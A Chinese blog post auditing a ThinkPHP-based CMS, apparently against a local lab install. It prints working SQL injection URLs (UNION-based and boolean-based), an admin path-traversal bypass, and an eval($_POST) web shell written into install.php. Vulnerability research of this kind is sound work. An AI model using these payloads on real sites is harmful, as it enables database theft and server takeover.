某cms代码审计


前言

好久没有进行代码审计了,今天空闲选了一个较为简单的MVC架构的CMS进行练练手。源码下载地址版本为3.8.6。 该cms使用了THINKPHP3.2.3框架进行开发,并且没有修复其历史漏洞,这是其有多个漏洞的一个重要原因。

前端多个sql注入漏洞

ThinkPHP3.2框架sql注入漏洞

在ThinkPHP3.2框架中存在一个sql注入漏洞,其对select,find,delect方法都会产生影响。详细请参考:ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)在该套cms使用了这些方法大多存在sql注入漏洞。这里挑选一个前端比较好利用的点讲一下。

漏洞位置:/Home/Controller/MovieController.class.php 存在可控点id跟进入对应model可以看出

调用了find方法:

img

因为这里没有thinkphp的报错回显,直接有回显所以我们需要进行对payload进行修改:

http://lfdycms.study/index.php/Home/Movie/index/?id[where]=0 union select 1,2,database(),(select  version()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 --

img

用户自定义sql语句导致的注入

漏洞文件:/Home/Controller/AjaxController.class.php 中的randMovie方法转到/Home/Model/AjaxModel.class.php

发现是用户自定义的sql语句。没有防护直接注入。在后台添加一个电影数据。‘

然后执行payload:
http://lfdycms.study/index.php/home/ajax/randMovie/?limit=1&category=44 显示正常

在使用http://lfdycms.study/index.php/home/ajax/randMovie/?limit=1&category=44 and 1 --

显示正常,在使用http://lfdycms.study/index.php/home/ajax/randMovie/?limit=1&category=44 and 0 --

显示为NULL存在注入。

后台任意文件修改

漏洞位置后台模板修改处,代码位置:TemplateController.class.php 文件的edit方法处。

可以看到路径参数path只是简单的把*替换成/的简单防御。我们可以使用*替换/即可绕过

编辑install.php文件:

payload:http://lfdycms.study/admin.php?s=/Template/edit/path/*..*install.php

但是在测试过程中发现在浏览器无论怎么修改发出去的包都是原来的文件内容(bug??),通过burp抓包,在content内容最后面添加代码:%0D%0Aeval(%24_POST%5b%27EASY%27%5d)%3b ,修改文件路径,发包发现成功修改。

在查看文件内容,成功写入。


文章作者: EASY
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EASY !
 上一篇
中间件安全-apache篇 中间件安全-apache篇
前言Apache 是世界使用排名第一的 Web 服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的 Web 服务器端软件之一。 Apache解析漏洞Apache 默认一个文件可以有多个以点分隔
2020-08-04 EASY
下一篇 
某汽车网源码的进一步代码审计 某汽车网源码的进一步代码审计
文章首发于圈子社区:https://www.secquan.org/CodeAudit/1071106 前言前段时间在先知社区看到一篇文章代码审计之某汽车网源码 。作者介绍了两个sql注入漏洞,我在学习之余对该套代码进行进一步审计也发现
2020-07-02 EASY
  目录